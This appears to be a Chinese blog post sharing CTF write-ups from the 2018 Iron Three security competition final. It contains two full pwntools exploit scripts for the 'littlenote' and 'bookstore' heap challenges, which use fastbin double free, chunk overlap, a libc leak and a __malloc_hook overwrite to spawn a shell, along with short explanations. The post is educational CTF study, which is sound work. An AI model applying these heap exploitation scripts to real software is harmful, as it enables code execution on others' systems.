热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

信息安全铁人三项赛真题解析_对[CrackMe]【ctf】2018信息安全铁人三项赛个人赛总决赛赛题分享的一些补充...

原贴主地址:https:www.52pojie.cnthread-837939-1-1.htmllittenote这道题的exp#-------------------------

原贴主地址:https://www.52pojie.cn/thread-837939-1-1.html

littenote这道题的exp

#------------------------------------------------------------------------------------------------------------------------------------

from pwn import *

io=process('./littlenote')

#context(os='linux',arch='amd64',log_level='debug')

def add(content,choose):

io.sendline('1')

io.recvuntil('Enter your note\n')

io.send(content)

io.recvuntil('Want to keep your note?\n')

io.sendline(choose)

io.recvuntil('Done\n')

def show(index):

io.sendline('2')

io.recvuntil('Which note do you want to show?\n')

io.sendline(str(index))

return (io.recvuntil("\nDone\n"))[:-6]

def free(index):

io.sendline('3')

io.recvuntil('Which note do you want to delete?\n')

io.sendline(str(index))

io.recvuntil('Done\n')

def main():

add('\x00'*0x58+p64(0x71),'Y')

add('a','Y')

add((p64(0x0)+p64(0x21))*6,'Y')

free(1)

free(0)

free(1)

#pause()

heap_base=u64((show(0)).ljust(8,'\x00'))-0x70

print "heap_base -> " + hex(heap_base)

#pause()

add(p64(heap_base+0x60),'Y') # !

add('\x00'*0x58+p64(0x71),'Y')

add('\x00'*8+p64(0x81),'Y')

add('\x00'*8+p64(0xA1),'Y')

#pause()

free(1)

libc_base=u64((show(1)).ljust(8,'\x00'))-0x68-0x00000000003C4B10

print "libc_base -> " + hex(libc_base)

one_gadget=libc_base+0xf02a4 # change

print "one_gadget -> " + hex(one_gadget)

add('a','Y') # 7

add('a','Y') # 8

add('a','Y') # 9

free(7)

free(8)

free(7)

point=libc_base+0x3c4af5-8

add(p64(point),'Y') # 10

add('a','Y') # 11

add(p64(point),'Y') # 12

#pause()

add('a'*19+p64(one_gadget),'Y')

io.sendline('1')

io.interactive()

main()

#------------------------------------------------------------------------------------------------------------------------------------

这道题就是个chunk extend/overlapping,通过extend/overlapping来修改一些已经malloc的chunk的size域为small chunk而不属于fast chunk的范围,从而导致free该chunk的时候被放入unsorted bin,从而可以leak出libc地址跟计算出one_gadget的地址,进而修改fd指针指向__malloc_hook的附近的位置.从而控制程序执行流获得一个shell.

bookstore这道题有意思的多.

附上原帖贴主的exp

#------------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

# imports

from pwn import *

import time

import os

import sys

elf = ""

libc = ""

env = ""

LOCAL = 1

context.log_level = "debug"

p = process("./bookstore", env={"LD_PRELOAD":"/tmp/ironthree/book/libc_64.so"})

#p = remote("ip", port) #uncomment this.

p.recvuntil("choice:\n")

def add(name, length, book):

p.sendline("1")

p.recvuntil("name?\n")

p.send(name)

p.recvuntil("name?\n")

p.sendline(str(length))

p.recvuntil("book?\n")

p.send(book)

p.recvuntil("choice:\n")

def sell(idx):

p.sendline("2")

p.recvuntil("sell?\n")

p.sendline(str(idx))

p.recvuntil("choice:\n")

def read(idx):

p.sendline("3")

p.recvuntil("sell?\n")

p.sendline(str(idx))

data = p.recvuntil("choice:\n")

return data

add("1234567\n", 0, "a\n")

for i in range(4):

add("12345678\n", 0x50, "a\n")

add("aaaadddd\n", 0, "a\n") #7

add("bbbbcccc\n", 0x40, "a\n") #8

add("railser\n", 0, "b\n")

add("ddaa\n", 0x50, "b\n")

add("ddaa\n", 0x20, "b\n")

add("ddaa\n", 0x30, "b\n")

add("ddaa\n", 0x40, "b\n")

add("ddaa\n", 0x50, "b\n")

sell(0)

add("trytry\n", 0, "a" * 24 + p64(0xc1)+"\n") #overflow

sell(1)

add("a" * 16 + p64(0x6e)+"\n", 20, "x"*8+"\n")

data = read(1)

libc_addr = data.split("x"*8)[1][:6]

libc = u64(libc_addr + "\0\0") - 0x3c4c28

print hex(libc)

one = libc + 0x4526a

mallochook = libc + 0x3c4b10 - 0x10

target = libc + 0x3c4b38

#gogo

sell(5)

sell(6)

add("a"*30, 0, "a" * 24 + p64(0x51)+p64(0x6f)+"\n")

add("a"*30 ,0x40, "a\n")

sell(7)

sell(8)

add("a"*30, 0, "a"*24 + p64(0x61)+p64(target) + "\n")

add("a" * 30, 0x50, "a\n")

add("a"*30, 0x50, p64(0) * 6 + p64(mallochook) + "\n")

add("a"*30, 0x50, "a"*0x30+"\n")

add("a"*30, 0x50, p64(one) + "a"*0x30+"\n")

p.sendline("1")

p.sendline("xxxx")

p.sendline("30")

p.interactive()

#------------------------------------------------------------------------------------------------------------------------------------

拿到这道题我早就可以修改fd指针的.不过因为程序对malloc的大小有限制所以导致不知道下一步要怎么办,尝试过malloc 2 stack,不过stack上也没有合适的size,所以就卡住了,直到看到了原帖贴主的exp,他的思路是通过修改free的fast chunk的fd指针,从而可以控制fastbin来伪造size,进而可以修改别的free的chunk的fd来指向这个我们伪造的size,进而控制top chunk的指针,从而malloc 2 __malloc_hook,这种思路第一次看到!

至于myhouse这题,还没看...

有师傅学pwn的可以交流交流!

这几道题目可以在原帖下载!



推荐阅读
  • python模块之正则
    re模块可以读懂你写的正则表达式根据你写的表达式去执行任务用re去操作正则正则表达式使用一些规则来检测一些字符串是否符合个人要求,从一段字符串中找到符合要求的内容。在 ... [详细]
  • Cookie学习小结
    Cookie学习小结 ... [详细]
  • 本文将深入探讨 iOS 中的 Grand Central Dispatch (GCD),并介绍如何利用 GCD 进行高效多线程编程。如果你对线程的基本概念还不熟悉,建议先阅读相关基础资料。 ... [详细]
  • Python多线程详解与示例
    本文介绍了Python中的多线程编程,包括僵尸进程和孤儿进程的概念,并提供了具体的代码示例。同时,详细解释了0号进程和1号进程在系统中的作用。 ... [详细]
  • 2020年9月15日,Oracle正式发布了最新的JDK 15版本。本次更新带来了许多新特性,包括隐藏类、EdDSA签名算法、模式匹配、记录类、封闭类和文本块等。 ... [详细]
  • C#实现文件的压缩与解压
    2019独角兽企业重金招聘Python工程师标准一、准备工作1、下载ICSharpCode.SharpZipLib.dll文件2、项目中引用这个dll二、文件压缩与解压共用类 ... [详细]
  • HTTP(HyperTextTransferProtocol)是超文本传输协议的缩写,它用于传送www方式的数据。HTTP协议采用了请求响应模型。客服端向服务器发送一 ... [详细]
  • 本文节选自《NLTK基础教程——用NLTK和Python库构建机器学习应用》一书的第1章第1.2节,作者Nitin Hardeniya。本文将带领读者快速了解Python的基础知识,为后续的机器学习应用打下坚实的基础。 ... [详细]
  • 处理POI导入Excel时遇到的数值单元格无法获取文本值问题
    在使用Apache POI库将数据从Excel导入到Java应用程序时,可能会遇到‘Cannot get a text value from a numeric cell’错误。本文将详细介绍该问题的原因及解决方案。 ... [详细]
  • 本文将介绍如何在混合开发(Hybrid)应用中实现Native与HTML5的交互,包括基本概念、学习目标以及具体的实现步骤。 ... [详细]
  • Spring Data JdbcTemplate 入门指南
    本文将介绍如何使用 Spring JdbcTemplate 进行数据库操作,包括查询和插入数据。我们将通过一个学生表的示例来演示具体步骤。 ... [详细]
  • 我有一个从C项目编译的.o文件,该文件引用了名为init_static_pool ... [详细]
  • 本文旨在探讨信息安全专业的职业规划路径,结合个人经历和专家建议,为即将毕业的学生提供实用的指导。 ... [详细]
  • 浅析python实现布隆过滤器及Redis中的缓存穿透原理_python
    本文带你了解了位图的实现,布隆过滤器的原理及Python中的使用,以及布隆过滤器如何应对Redis中的缓存穿透,相信你对布隆过滤 ... [详细]
  • Java 并发编程:RunnableScheduledFuture 接口详解
    本文深入解析了 Java 并发编程中 RunnableScheduledFuture 接口的源代码及其在标准线程池中的应用。 ... [详细]
author-avatar
me
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有